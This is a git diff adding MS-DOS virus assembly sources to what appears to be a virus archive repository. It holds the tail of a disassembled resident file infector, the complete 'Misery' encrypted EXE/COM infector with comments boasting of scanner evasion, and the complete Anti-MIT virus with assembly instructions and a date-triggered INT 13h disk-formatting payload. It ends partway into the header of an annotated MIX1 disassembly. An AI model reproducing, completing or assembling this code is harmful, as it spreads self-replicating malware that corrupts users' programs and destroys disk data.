PTR [bx+0bh] + pop dx + add dx,ax + mov ax,WORD PTR [bx+08] + add ax,0040h + cmp ax,WORD PTR [bx+13h] + jb b0036f ;Jump if < (no sign) + inc ax + and ax,003fh + add ax,dx + cmp ax,WORD PTR [bx+13h] + jnb b0038b ;Jump if >= (no sign) +b0036f: mov WORD PTR [bx+08],ax +b00372: pop ax + xor dx,dx ;Load register w/ 0 + push ax + push bx + push cx + int 26h ;undefined + pop ax + pop cx + pop bx + pop ax + cmp BYTE PTR [bx+0ah],00 + jnz b0038c ;Jump not equal(ZF=0) + mov dx,WORD PTR [bx+08] + pop bx + push bx + int 26h ;undefined +b0038b: pop ax +b0038c: pop si + xor ax,ax ;Load register w/ 0 + mov ds,ax + mov ax,WORD PTR cs:[si+06c2h] + mov WORD PTR [d0004c],ax + mov ax,WORD PTR cs:[si+06c4h] + mov WORD PTR [d0004e],ax + pop ds + pop ax + cmp WORD PTR cs:[si+06ceh],5a4dh + jnz b003af ;Jump not equal(ZF=0) + jmp m00126 +b003af: jmp m00155 + mov al,03 + iret ;POP flags and Return + pushf ;Push flags on Stack + call s7 ;<00728> + popf ;Pop flags off Stack + jmp DWORD PTR cs:[d00714] +b003bf: mov WORD PTR cs:[d00714],dx + mov WORD PTR cs:[b00716],ds + popf ;Pop flags off Stack + iret ;POP flags and Return +b003cb: mov WORD PTR cs:[d00718],dx + mov WORD PTR cs:[d0071a],ds + popf ;Pop flags off Stack + iret ;POP flags and Return +b003d7: les bx,DWORD PTR cs:[d00714] + popf ;Pop flags off Stack + iret ;POP flags and Return +b003de: les bx,DWORD PTR cs:[d00718] + popf ;Pop flags off Stack + iret ;POP flags and Return +b003e5: call s5 ;<0050b> + call s7 ;<00728> + popf ;Pop flags off Stack + jmp DWORD PTR cs:[d00718] +;----------------------------------------------------- + db '&^%s%c' ;0000:03f1 +;----------------------------------------------------- + and ax,0064h + push bp ;Get Args from Stack + mov bp,sp + push WORD PTR [bp+06] + popf ;Pop flags off Stack + pop bp ;End High Level Subr + pushf ;Push flags on Stack + call s8 ;<00732> + cmp ax,2521h + jz b003cb ;Jump if equal (ZF=1) + cmp ax,2527h + jz b003bf ;Jump if equal (ZF=1) + cmp ax,3527h + jz b003d7 ;Jump if equal (ZF=1) + cld ;Forward String Opers + cmp ax,4b00h + jz b003e5 ;Jump if equal (ZF=1) + cmp ah,3ch + jz b0042f ;Jump if equal (ZF=1) + cmp ah,3eh + jz b0046b ;Jump if equal (ZF=1) + cmp ah,5bh + jnz b00495 ;Jump not equal(ZF=0) +b0042f: cmp WORD PTR cs:[d006d1],00 + jnz b004ac ;Jump not equal(ZF=0) + call s2 ;<004c2> + jnz b004ac ;Jump not equal(ZF=0) + call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> + jb b004b3 ;Jump if < (no sign) + pushf ;Push flags on Stack + push es + push cs + pop es + push si + push di + push cx + push ax + mov di,06d1h + stosw ;Store AX at ES:[DI] + mov si,dx + mov cx,0041h +b00456: lodsb ;Load AL with DS:[SI] + stosb ;Store AL at ES:[DI] + test al,al ;Flags=Arg1 AND Arg2 + jz b00463 ;Jump if equal (ZF=1) + loop b00456 ;Dec CX;Loop if CX>0 + mov WORD PTR es:[d006d1],cx +b00463: pop ax + pop cx + pop di + pop si + pop es +b00468: popf ;Pop flags off Stack + jnb b004b3 ;Jump if >= (no sign) +b0046b: cmp bx,WORD PTR cs:[d006d1] + jnz b004ac ;Jump not equal(ZF=0) + test bx,bx ;Flags=Arg1 AND Arg2 + jz b004ac ;Jump if equal (ZF=1) + call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> + jb b004b3 ;Jump if < (no sign) + pushf ;Push flags on Stack + push ds + push cs + pop ds + push dx + mov dx,06d3h + call s5 ;<0050b> + mov WORD PTR cs:[d006d1],0000h + pop dx + pop ds + jmp short b00468 +b00495: cmp ah,3dh + jz b004a4 ;Jump if equal (ZF=1) + cmp ah,43h + jz b004a4 ;Jump if equal (ZF=1) + cmp ah,56h + jnz b004ac ;Jump not equal(ZF=0) +b004a4: call s2 ;<004c2> + jnz b004ac ;Jump not equal(ZF=0) + call s5 ;<0050b> +b004ac: call s7 ;<00728> + popf ;Pop flags off Stack + call s4 ;<00504> +b004b3: pushf ;Push flags on Stack + push ds + call s9 ;<0078b> + mov BYTE PTR [d00000],5ah + pop ds + popf ;Pop flags off Stack + ret 0002h ;(far) +s1 endp + +;<004c2> +s2 proc near + push ax + push si + mov si,dx +b004c6: lodsb ;Load AL with DS:[SI] + test al,al ;Flags=Arg1 AND Arg2 + jz b004f3 ;Jump if equal (ZF=1) + cmp al,64h ;(d) + jz b004f3 ;Jump if equal (ZF=1) + add al,01 + cmp al,2eh ;(.) + jnz b004c6 ;Jump not equal(ZF=0) + call s3 ;<004f8> + mov ah,al + call s3 ;<004f8> + cmp ax,6f76h + jz b004ee ;Jump if equal (ZF=1) + cmp ax,6578h + jnz b004f5 ;Jump not equal(ZF=0) + call s3 ;<004f8> + cmp al,65h ;(e) + jmp short b004f5 +b004ee: call s3 ;<004f8> + jnz b004f5 ;Jump not equal(ZF=0) +b004f3: inc al +b004f5: pop si + pop ax + ret +s2 endp + +;<004f8> +s3 proc near + lodsb ;Load AL with DS:[SI] + cmp al,43h ;(C) + jb b00503 ;Jump if < (no sign) + cmp al,59h ;(Y) + jnb b00503 ;Jump if >= (no sign) + add al,19h +b00503: ret +s3 endp + +;<00504> +s4 proc near + pushf ;Push flags on Stack + call DWORD PTR cs:[d00718] + ret +s4 endp + +;<0050b> +s5 proc near + push ds + push es + push si + push di + push ax + push bx + push cx + push dx + mov si,ds + xor ax,ax ;Load register w/ 0 + mov ds,ax + les ax,DWORD PTR [d00090] + push es + push ax + mov WORD PTR [d00090],02b2h + mov WORD PTR [d00092],cs + les ax,DWORD PTR [d0004c] + mov WORD PTR cs:[d006c2],ax + mov WORD PTR cs:[d006c4],es + mov WORD PTR [d0004c],06adh + mov WORD PTR [d0004e],cs + push es + push ax + mov ds,si + xor cx,cx ;Load register w/ 0 + mov ax,4300h + call s4 ;<00504> + mov bx,cx + and cl,0feh + cmp cl,bl + jz b0055c ;Jump if equal (ZF=1) + mov ax,4301h + call s4 ;<00504> + stc +b0055c: pushf ;Push flags on Stack + push ds + push dx + push bx + mov ax,3d02h + call s4 ;<00504> + jb b00572 ;Jump if < (no sign) + mov bx,ax + call s6 ;<0059b> + mov ah,3eh + call s4 ;<00504> +b00572: pop cx + pop dx + pop ds + popf ;Pop flags off Stack + jnb b0057e ;Jump if >= (no sign) + mov ax,4301h + call s4 ;<00504> +b0057e: xor ax,ax ;Load register w/ 0 + mov ds,ax + pop WORD PTR [d0004c] + pop WORD PTR [d0004e] + pop WORD PTR [d00090] + pop WORD PTR [d00092] + pop dx + pop cx + pop bx + pop ax + pop di + pop si + pop es + pop ds + ret +s5 endp + +;<0059b> +s6 proc near + spc=$ + org 0006c2h +d006c2: org 0006c4h +d006c4: org 0006d1h +d006d1: org 000714h +d00714: org 000716h +d00716: org 000718h +d00718: org 00071ah +d0071a: org 00071ch +d0071c: org 00071dh +d0071d: org 00071eh +d0071e: org 000720h +d00720: org 000724h +d00724: org spc + push cs + pop ds + push cs + pop es + mov dx,071ch + mov cx,0018h + mov ah,3fh + int 21h ;undefined + xor cx,cx ;Load register w/ 0 + xor dx,dx ;Load register w/ 0 + mov ax,4202h + int 21h ;undefined + mov WORD PTR [d00736],dx + cmp ax,06b8h + sbb dx,00 + jb b0062c ;Jump if < (no sign) + mov WORD PTR [d00734],ax + cmp WORD PTR [d0071c],5a4dh + jnz b005e0 ;Jump not equal(ZF=0) + mov ax,WORD PTR [d00724] + add ax,WORD PTR [s8 ;<00732>] + call s11 ;<007a7> + add ax,WORD PTR [d00730] + adc dx,00 + mov cx,dx + mov dx,ax + jmp short b005f5 +b005e0: cmp BYTE PTR [d0071c],0e9h + jnz b0062d ;Jump not equal(ZF=0) + mov dx,WORD PTR [b0071d] + add dx,0103h + jb b0062d ;Jump if < (no sign) + dec dh + xor cx,cx ;Load register w/ 0 +b005f5: sub dx,68h + sbb cx,00 + mov ax,4200h + int 21h ;undefined + add ax,06d1h + adc dx,00 + cmp ax,WORD PTR [d00734] + jnz b0062d ;Jump not equal(ZF=0) + cmp dx,WORD PTR [d00736] + jnz b0062d ;Jump not equal(ZF=0) + mov dx,0738h + mov si,dx + mov cx,06b8h + mov ah,3fh + int 21h ;undefined + jb b0062d ;Jump if < (no sign) + cmp cx,ax + jnz b0062d ;Jump not equal(ZF=0) + xor di,di ;Load register w/ 0 +b00626: lodsb ;Load AL with DS:[SI] + scasb ;Flags = AL - ES:[DI] + jnz b0062d ;Jump not equal(ZF=0) + loop b00626 ;Dec CX;Loop if CX>0 +b0062c: ret +b0062d: xor cx,cx ;Load register w/ 0 + xor dx,dx ;Load register w/ 0 + mov ax,4202h + int 21h ;undefined + cmp WORD PTR [d0071c],5a4dh + jz b00647 ;Jump if equal (ZF=1) + add ax,091ch + adc dx,00 + jz b0065e ;Jump if equal (ZF=1) + ret +b00647: mov dx,WORD PTR [d00734] + neg dl + and dx,0fh + xor cx,cx ;Load register w/ 0 + mov ax,4201h + int 21h ;undefined + mov WORD PTR [d00734],ax + mov WORD PTR [d00736],dx +b0065e: mov ax,5700h + int 21h ;undefined + pushf ;Push flags on Stack + push cx + push dx + cmp WORD PTR [d0071c],5a4dh + jz b00673 ;Jump if equal (ZF=1) + mov ax,0100h + jmp short b0067a +b00673: mov ax,WORD PTR [d00730] + mov dx,WORD PTR [s8 ;<00732>] +b0067a: mov di,06c6h + stosw ;Store AX at ES:[DI] + mov ax,dx + stosw ;Store AX at ES:[DI] + mov ax,WORD PTR [d0072c] + stosw ;Store AX at ES:[DI] + mov ax,WORD PTR [d0072a] + stosw ;Store AX at ES:[DI] + mov si,071ch + movsb ;Mov DS:[SI]->ES:[DI] + movsw ;Mov DS:[SI]->ES:[DI] + xor dx,dx ;Load register w/ 0 + mov cx,06d1h + mov ah,40h + int 21h ;undefined + jb b006bf ;Jump if < (no sign) + xor cx,ax + jnz b006bf ;Jump not equal(ZF=0) + mov dx,cx + mov ax,4200h + int 21h ;undefined + cmp WORD PTR [d0071c],5a4dh + jz b006c1 ;Jump if equal (ZF=1) + mov BYTE PTR [d0071c],0e9h + mov ax,WORD PTR [d00734] + add ax,0065h + mov WORD PTR [b0071d],ax + mov cx,0003h + jmp short b00716 +b006bf: jmp short b0071d +b006c1: call s10 ;<007a4> + not ax + not dx + inc ax + jnz b006cc ;Jump not equal(ZF=0) + inc dx +b006cc: add ax,WORD PTR [d00734] + adc dx,WORD PTR [d00736] + mov cx,0010h + div cx + mov WORD PTR [d00730],0068h + mov WORD PTR [s8 ;<00732>],ax + add ax,006eh + mov WORD PTR [d0072a],ax + mov WORD PTR [d0072c],0100h + add WORD PTR [d00734],06d1h + adc WORD PTR [d00736],00 + mov ax,WORD PTR [d00734] + and ax,01ffh + mov WORD PTR [d0071e],ax + pushf ;Push flags on Stack + mov ax,WORD PTR [d00735] + shr BYTE PTR [d00737],1 ;Divide by 2's + rcr ax,1 ;CF-->[HI .. LO]-->CF + popf ;Pop flags off Stack + jz b00710 ;Jump if equal (ZF=1) + inc ax +b00710: mov WORD PTR [d00720],ax + mov cx,0018h +b00716: mov dx,071ch + mov ah,40h + int 21h ;undefined +b0071d: pop dx + pop cx + popf ;Pop flags off Stack + jb b00727 ;Jump if < (no sign) + mov ax,5701h + int 21h ;undefined +b00727: ret +s6 endp + +;<00728> +s7 proc near + spc=$ + org 00072ah +d0072a: org 00072ch +d0072c: org 000730h +d00730: org spc + push ds + call s9 ;<0078b> + mov BYTE PTR [d00000],4dh + pop ds +s7 endp + +;<00732> +s8 proc near + spc=$ + org 000732h +d00732: org 000734h +d00734: org 000735h +d00735: org 000736h +d00736: org 000737h +d00737: org spc + push ds + push ax + push bx + push dx + xor bx,bx ;Load register w/ 0 + mov ds,bx + lds dx,DWORD PTR [d00084] + cmp dx,02fah + jnz b0074e ;Jump not equal(ZF=0) + mov ax,ds + mov bx,cs + cmp ax,bx + jz b00786 ;Jump if equal (ZF=1) + xor bx,bx ;Load register w/ 0 +b0074e: mov ax,WORD PTR [bx] + cmp ax,02fah + jnz b0075c ;Jump not equal(ZF=0) + mov ax,cs + cmp ax,WORD PTR [bx+02] + jz b00761 ;Jump if equal (ZF=1) +b0075c: inc bx + jnz b0074e ;Jump not equal(ZF=0) + jz b0077a ;Jump if equal (ZF=1) +b00761: mov ax,WORD PTR cs:[d00718] + mov WORD PTR [bx],ax + mov ax,WORD PTR cs:[d0071a] + mov WORD PTR [bx+02],ax + mov WORD PTR cs:[d00718],dx + mov WORD PTR cs:[d0071a],ds + xor bx,bx ;Load register w/ 0 +b0077a: mov ds,bx + mov WORD PTR [d00084],02fah + mov WORD PTR [d00086],cs +b00786: pop dx + pop bx + pop ax + pop ds + ret +s8 endp + +;<0078b> +s9 proc near + push ax + push bx + mov ah,62h + call s4 ;<00504> + mov ax,cs + dec ax + dec bx +b00796: mov ds,bx + stc + adc bx,WORD PTR [d00003] + cmp bx,ax + jb b00796 ;Jump if < (no sign) + pop bx + pop ax + ret +s9 endp + +;<007a4> +s10 proc near + mov ax,WORD PTR [d00724] +s10 endp + +;<007a7> +s11 proc near + mov dx,0010h + mul dx + ret +;----------------------------------------------------- + cmp ah,03 + jnz b007c1 ;Jump not equal(ZF=0) + cmp dl,80h + jnb b007bc ;Jump if >= (no sign) + jmp 0000:0000 +b007bc: jmp 0000:0000 +b007c1: jmp 0000:0000 +;----------------------------------------------------- + db 00,01 ;0000:07c6 .. + db 6d dup (00h) ;0000:07c8 (.) + db 0cdh,20,90,90,90,90 ;0000:07ce . .... +s11 endp + spc=$ + org 000000h +d00000: org 000001h +d00001: org 000002h +d00002: org 000003h +d00003: org 000006h +d00006: org 00002ah +d0002a: org 00004ch +d00086: org 000090h +d00090: org 000092h +d00092: org 00009ch +d0009c: org 00009eh +d0009e: org spc +cseg ends + end o00100 + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.misery.asm b/MSDOS/Virus.MSDOS.Unknown.misery.asm new file mode 100644 index 00000000..64c99efd --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.misery.asm @@ -0,0 +1,252 @@ +; VirusName: Misery +; Country : Sweden +; Author : Metal Militia / Immortal Riot +; Date : 07-22-1993 +; +; This is an mutation of Leprosy from 'PCM2'. +; Many thanks to the scratch coder of Leprosy +; +; We've tried this virus ourself, and it works just fine. +; It copies itself into other exe/com files on the +; current drive, and uses dot-dot for changing directory. +; Originally found in the United States Of America. +; +; There has been many mutations born from this virus, +; and here we give you another contribution. + +; McAfee Scan v105 can't find it, and +; S&S Toolkit 6.5 don't find it either. +; I haven't tried with scanners like Fprot/Tbscan, +; but they will probably report some virus structure. +; +; Best Regards : [Metal Militia] +; [The Unforgiven] + + title "MiSERY / Immortal Riot'93" + +cr equ 13 ; Carriage return ASCII code +lf equ 10 ; Linefeed ASCII code +tab equ 9 ; Tab ASCII code +virus_size equ 664 ; Size of the virus file +code_start equ 100h ; Address right after PSP in memory +dta equ 80h ; Addr of default disk transfer area +datestamp equ 24 ; Offset in DTA of file's date stamp +timestamp equ 22 ; Offset in DTA of file's time stamp +filename equ 30 ; Offset in DTA of ASCIIZ filename +attribute equ 21 ; Offset in DTA of file attribute + + + code segment 'code' ; Open code segment + assume cs:code,ds:code ; One segment for both code & data + org code_start ; Start code image after PSP + +;--------------------------------------------------------------------- +; All executable code is contained in boundaries of procedure "main". +; The following code, until the start of "virus_code", is the non- +; encrypted CMT portion of the code to load up the real program. +;--------------------------------------------------------------------- +main proc near ; Code execution begins here + call encrypt_decrypt ; Decrypt the real virus code + jmp random_mutation ; Put the virus into action + +encrypt_val db 00h ; Hold value to encrypt by here + +; ---------- Encrypt, save, and restore the virus code ----------- +infect_file: + mov bx,handle ; Get the handle + push bx ; Save it on the stack + call encrypt_decrypt ; Encrypt most of the code + pop bx ; Get back the handle + mov cx,virus_size ; Total number of bytes to write + mov dx,code_start ; Buffer where code starts in memory + mov ah,40h ; DOS write-to-handle service + int 21h ; Write the virus code into the file + call encrypt_decrypt ; Restore the code as it was + ret ; Go back to where you came from + +; --------------- Encrypt or decrypt the virus code ---------------- +encrypt_decrypt: + mov bx,offset virus_code ; Get address to start encrypt/decrypt +xor_loop: ; Start cycle here + mov ah,[bx] ; Get the current byte + xor al,encrypt_val ; Engage/disengage XOR scheme on it + mov [bx],ah ; Put it back where we got it + inc bx ; Move BX ahead a byte + cmp bx,offset virus_code+virus_size ; Are we at the end? + jle xor_loop ; If not, do another cycle + ret ; and go back where we came from + +;----------------------------------------------------------------------- +; The rest of the code from here on remains encrypted until run-time, +; using a fundamental XOR technique that changes via CMT. +;----------------------------------------------------------------------- +virus_code: + +;---------------------------------------------------------------------------- +; All strings are kept here in the file, and automatically encrypted. +; Please don't be a lamer and change the strings and say you wrote a virus. +; Because of Cybernetic Mutation Technology(tm), the CRC of this file often +; changes, even when the strings stay the same. +;---------------------------------------------------------------------------- +exe_filespec db "*.EXE",0 ; To infect EXE's +com_filespec db "*.COM",0 ; To infect COM's +newdir db "..",0 ; Move up one directory +fake_msg db cr,lf,"Metal up your ass..$" +virus_msg1 db cr,lf,tab,"My friend of Misery...$" +virus_msg2 db cr,lf,tab,"Hearing only what you want to hear $" +virus_msg3 db cr,lf,tab,"and knowing only what you've heard$" +virus_msg4 db cr,lf,tab,"you you're smothered in tragedy$" +virus_msg5 db cr,lf,tab,"you're out to save the world$" +compare_buf db 20 dup (?) ; Buffer to compare files in +files_found db ? +files_infected db ? +orig_time dw ? +orig_date dw ? +orig_attr dw ? +handle dw ? +success db ? + +random_mutation: ; First decide if virus is to mutate + mov ah,2ch ; Set up DOS function to get time + int 21h + cmp encrypt_val,0 ; Is this a first-run virus copy? + je install_val ; If so, install whatever you get. + cmp dh,15 ; Is it less than 16 seconds? + jg find_extension ; If not, don't mutate this time +install_val: + cmp dl,0 ; Will we be encrypting using zero? + je random_mutation ; If so, get a new value. + mov encrypt_val,dl ; Otherwise, save the new value +find_extension: ; Locate file w/ valid extension + mov files_found,0 ; Count infected files found + mov files_infected,4 ; BX counts file infected so far + mov success,0 +find_exe: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset exe_filespec ; Check for .EXE extension first + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je find_com ; If not, nothing more to do + call find_healthy ; Otherwise, try to find healthy .EXE +find_com: + mov cx,00100111b ; Look for all flat file attributes + mov dx,offset com_filespec ; Check for .COM extension now + mov ah,4eh ; Call DOS find first service + int 21h + cmp ax,12h ; Are no files found? + je chdir ; If not, step back a directory + call find_healthy ; Otherwise, try to find healthy .COM +chdir: ; Routine to step back one level + mov dx,offset newdir ; Load DX with address of pathname + mov ah,3bh ; Change directory DOS service + int 21h + dec files_infected ; This counts as infecting a file + jnz find_exe ; If we're still rolling, find another + jmp exit_virus ; Otherwise let's pack it up +find_healthy: + mov bx,dta ; Point BX to address of DTA + mov ax,[bx]+attribute ; Get the current file's attribute + mov orig_attr,ax ; Save it + mov ax,[bx]+timestamp ; Get the current file's time stamp + mov orig_time,ax ; Save it + mov ax,[bx]+datestamp ; Get the current file's data stamp + mov orig_date,ax ; Save it + mov dx,dta+filename ; Get the filename to change attribute + mov cx,0 ; Clear all attribute bytes + mov al,1 ; Set attribute sub-function + mov ah,43h ; Call DOS service to do it + int 21h + mov al,2 ; Set up to open handle for read/write + mov ah,3dh ; Open file handle DOS service + int 21h + mov handle,ax ; Save the file handle + mov bx,ax ; Transfer the handle to BX for read + mov cx,20 ; Read in the top 20 bytes of file + mov dx,offset compare_buf ; Use the small buffer up top + mov ah,3fh ; DOS read-from-handle service + int 21h + mov bx,offset compare_buf ; Adjust the encryption value + mov ah,encrypt_val ; for accurate comparison + mov [bx+6],ah + mov si,code_start ; One array to compare is this file + mov di,offset compare_buf ; The other array is the buffer + mov ax,ds ; Transfer the DS register... + mov es,ax ; ...to the ES register + cld + repe cmpsb ; Compare the buffer to the virus + jne healthy ; If different, the file is healthy! + call close_file ; Close it up otherwise + inc files_found ; Chalk up another fucked up file +continue_search: + mov ah,4fh ; Find next DOS function + int 21h ; Try to find another same type file + cmp ax,12h ; Are there any more files? + je no_more_found ; If not, get outta here + jmp find_healthy ; If so, try the process on this one! +no_more_found: + ret ; Go back to where we came from +healthy: + mov bx,handle ; Get the file handle + mov ah,3eh ; Close it for now + int 21h + mov ah,3dh ; Open it again, to reset it + mov dx,dta+filename + mov al,2 + int 21h + mov handle,ax ; Save the handle again + call infect_file ; Infect the healthy file + call close_file ; Close down this operation + inc success ; Indicate we did something this time + dec files_infected ; Scratch off another file on agenda + jz exit_virus ; If we're through, terminate + jmp continue_search ; Otherwise, try another + ret +close_file: + mov bx,handle ; Get the file handle off the stack + mov cx,orig_time ; Get the date stamp + mov dx,orig_date ; Get the time stamp + mov al,1 ; Set file date/time sub-service + mov ah,57h ; Get/Set file date and time service + int 21h ; Call DOS + mov bx,handle + mov ah,3eh ; Close handle DOS service + int 21h + mov cx,orig_attr ; Get the file's original attribute + mov al,1 ; Instruct DOS to put it back there + mov dx,dta+filename ; Feed it the filename + mov ah,43h ; Call DOS + int 21h + ret +exit_virus: + cmp files_found,15 ; Are at least 15 files infected? + jl print_fake ; If not, keep a low profile + cmp success,0 ; Did we infect anything? + jg print_fake ; If so, cover it up + mov ah,09h ; Use DOS print string service + mov dx,offset virus_msg1 ; Load the address of the first line + int 21h ; Print it + mov dx,offset virus_msg2 ; Load the second line + int 21h ; (etc) + mov dx,offset virus_msg3 + int 21h + mov dx,offset virus_msg4 + int 21h + mov dx,offset virus_msg5 + int 21h + jmp terminate +print_fake: + mov ah,09h ; Use DOS to print fake error message + mov dx,offset fake_msg + int 21h +terminate: + mov ah,4ch ; DOS terminate process function + int 21h ; Call DOS to get out of this program + +filler db 8 dup (90h) ; Pad out the file length to 666 bytes + +main endp +code ends + end main + +  \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mit.asm b/MSDOS/Virus.MSDOS.Unknown.mit.asm new file mode 100644 index 00000000..aa809cbe --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mit.asm @@ -0,0 +1,315 @@ +; ** Anti-MIT Virus ** +; To assemble, use TASM and TLINK to create a .COM file. Next +; run the .COM file in the same directory of a file you want to infect. +; Your system may hang, but after re-booting you will notice an increase +; in the target files size. Now debug the newly infected file and replace +; the first three bytes with E8 05 00 (call to encryption). Re-write the +; .COM file and now you should have a running copy of the Anti-Mit virus! +; +; - Do not distribute the Anti-MIT virus for this +; activity is against the law! The author will take +; NO responsiblity for others. +; TEST ONLY +; +; For more info see MIT.DOX file. + + + + +name AntiMIT + title Anti-MIT: The original Anti-MIT virus code! + .radix 16 +code segment + assume cs:code,ds:code + org 100 + +buffer equ offset 20000d ; Buffer +fname equ offset 20000d + 1eh ; DTA - File name +ftime equ offset 20000d + 16h ; DTA - File time +fsize equ offset 20000d + 1ah ; DTA - File size +olddta equ 80 ; Old DTA area + +start: + jmp main ; *See above* + nop + jmp main ; Jmp to virus body + +encrypt_val db 0 ; Randomized encryption value + +decrypt: ; Encrypt/decrypt engine +encrypt: ; [SKISM type] + lea si, data + mov ah, encrypt_val + jmp fool_em ; Fool with the scanners + +xor_loop: + lodsb ; ds:[si] -> al + xor al, ah + stosb ; al -> es:[di] + loop xor_loop + mov ah,19h ; Set current drive as default + int 21h + mov dh,al + mov ah,0eh + int 21h + ret + +fool_em: + mov di, si + mov cx, stop_encrypt - data + jmp xor_loop + + + +data label byte ; Virus data +message db 'MIT Sux! $' ; The "message" +lengthp dw ? ; Length of infected file +allcom db '*.COM',0 ; What to search for +virus db '[Anti-MIT]',0 ; Virus name +author db 'FŒrsŲStrŒkä',0 ; Author + +main: ; Main virus code + mov ah,2ah ; Get the date + int 21h + + cmp dh,12d ; Month 12? + jnz next ; No + + + cmp dl,01d ; Day one? + jnz next ; No + lea dx,message ; Yes, set off the "bomb" + mov ah,09h + int 21h + + mov ah,05h + mov al,02h + mov ch,00h + mov dh,00h + mov dl,80h + int 13h + + mov ah,06h + int 13h + + mov ah,05h + mov dl,00h + int 13h + + mov ah,4ch ; Exit + int 21h + +next: + mov cx,lengthp ; Figure out the Jmp + sub cx,eendcode-start + mov the_jmp,cx + + + + + push es ; Save ES + mov ax,3524h ; Get interrupt 24h handler + int 21h ; and save it in errhnd + mov [err1],bx + mov [err2],es + pop es ; Restore ES + + mov ax,2524h ; Set interrupt 24h handler + lea dx,handler + int 21h + + xor dx,dx ; Set DTA in "buffer" area + mov si,dx + mov dx,buffer + add dx,si ; Set new Disk Transfer Address + mov ah,1A ; Set DTA + int 21 + + +find_first: + mov dx,offset allcom ; Search for '*.COM' files + mov cx,00000001b ; Normal, Write Protected + mov ah,4E ; Find First file + int 21 + jc pre_done ; Quit if none found + jmp check_if_ill + +mover: ; The "mover" code + push cs ; Store CS + pop es ; and move it to ES + mov di,0100h + lea si,eendcode ; Move original code to + add si,the_jmp ; beginning + add si,endcode-mover + mov cx,eendcode-start + rep movsb + mov di,0100h ; Jmp to CS:[100h] + jmp di + +pre_done: + jmp done ; Long jmp + +find_next: + mov ah,4fh ; Search for next + int 21h + jc pre_done + +check_if_ill: ; File infected? + mov ax,cs:[ftime] + and al,11111b ; Look for the 62 sec marker + cmp al,62d/2 ; [Vienna type] + jz find_next + + cmp cs:[fsize],19000d ; Check if file larger then + ja find_next ; 19000 bytes - if so skip + + cmp cs:[fsize],500d ; Check if file smaller then + jb find_next ; 500 bytes - if so skip + + +mainlp: ; Write the virus + mov dx,fname + mov ah,43h ; Write enable + mov al,0 + int 21h + mov ah,43h + mov al,01h + and cx,11111110b + int 21h + + + mov ax,3d02h ; Open file (read/write) + int 21h + jc pre_done + mov bx,ax + + mov ax,5700h ; Get date for file + int 21h + mov [time],cx ; Save date info + mov [date],dx + + mov ah,3fh ; Read original code into + mov dx,buffer ; buffer (length of virus) + mov cx,eendcode-start + int 21h + jc pre_done + cmp ax,eendcode-start + jne pre_done + + + mov ah,42h ; Go to end of file + mov al,02h + xor cx,cx + xor dx,dx + int 21h + jc pre_done + mov cx,ax + mov lengthp,ax ; Save original program code + + mov ah,40h ; Write "mover" code to end + lea dx,mover ; of file + mov cx,endcode-mover + int 21h + jc done + cmp ax,endcode-mover + jne done + + mov ah,40h ; Write original program code + mov dx,buffer ; to end of the file + mov cx,eendcode-start + int 21h + jc done + cmp ax,eendcode-start + jne done + + mov ah,42h ; Go to front of file + mov al,00h + xor cx,cx + xor dx,dx + int 21h + jc done + +stop_encrypt: + mov ah,2ch ; Get time + int 21h + + mov encrypt_val,dh ; Use time as random encryption + call encrypt ; value + + mov ah,40h ; Write virus code to front of + lea dx,start ; file + mov cx,eendcode-start + int 21h + jc done + cmp ax,eendcode-start + jne done + jmp date_stuff + +handler: + mov al,0 + iret +endp + + +time dw ? ; File stamp - time +date dw ? ; File stamp - date +err1 dw ? ; Original error handler +err2 dw ? ; address + +date_stuff: ; Restore old file stamp + mov ax,5701h + mov cx,[time] + mov dx,[date] + and cl,not 11111b ; Set seconds field to 62 secs. + or cl,11111b + int 21h + mov ah,3eh + int 21h + mov dx,olddta ; Restore "original" DTA + mov ah,1ah + int 21h + + push ds ; Save DS + mov ax,2524h ; Set interrupt 24h handler + mov dx,err1 ; Restore saved handler + mov dx,err2 + mov ds,dx + int 21h + pop ds ; Restore DS + +done: + xor cx,cx ; Clear registors + xor dx,dx + xor bx,bx + xor ax,ax + xor si,si +jmp_code db 0e9h ; Preform jmp to "mover" code +the_jmp dw ? + +go: +eendcode label byte + + nop ; krap + nop + nop + nop + nop + + + + +endcode label byte + + + + + + + + + + + + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mix1.asm b/MSDOS/Virus.MSDOS.Unknown.mix1.asm new file mode 100644 index 00000000..e7e41e2c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mix1.asm @@ -0,0 +1,857 @@ +; THE MIX1 virus +; +; It was first detected in Israel in August '89. +; +; Disassembly done Sept. 24-25 '89. +; +; The author of this program is unknown, but it is clearly a +; modification of the "Icelandic" virus, with considerable +; additions +; +; All comments in this file were added by Fridrik Skulason, +; University of Iceland/Computing Services. +; +; INTERNET: frisk@rhi.hi.is +; UUCP: ...mcvax!hafro!rhi!frisk +; BIX: FRISK +; +; To anyone who obtains this file - please be careful with it, I +; would not like to see this virus be distributed too much. +; +; A short description of the virus: +; +; It only infects .EXE files. Infected files grow by ... to ... bytes. +; The virus attaches itself to the end of the programs it infects. +; +; When an infected file is run, the virus copies itself to top of +; free memory, and modifies the memory blocks, in order to hide from +; memory mapping programs. Some programs may overwrite this area, +; causing the computer to crash. +; +; The virus will hook INT 21H and when function 4B (EXEC) is called +; it sometimes will infect the program being run. It will check every +; tenth program that is run for infection, and if it is not already +; infected, it will be. +; +; The virus will remove the Read-Only attribute before trying to +; infect programs. +; +; Infected files can be easily recognized, since they always end in +; "MIX1" +; +; To check for system infection, a byte at 0:33C is used - if it +; contains 77 the virus is installed in memory. +; +; +VIRSIZ EQU 128 + +; +; This is the original program, just used so this file, when +; assembled, will produce an active copy. +; +_TEXT1 SEGMENT PARA PUBLIC +_START DB 0b4H,09H + PUSH CS + POP DS + MOV DX,OFFSET STRING + INT 21H + MOV AX,4C00H + INT 21H +STRING DB "Hello world!",0dh,0ah,"$" + _TEXT1 ENDS + +CODE SEGMENT PARA PUBLIC 'CODE' + ASSUME CS:CODE,DS:NOTHING,SS:NOTHING,ES:NOTHING + +; +; The virus is basically divided in the following parts. +; +; 1. The main program - run when an infected program is run. +; It will check if the system is already 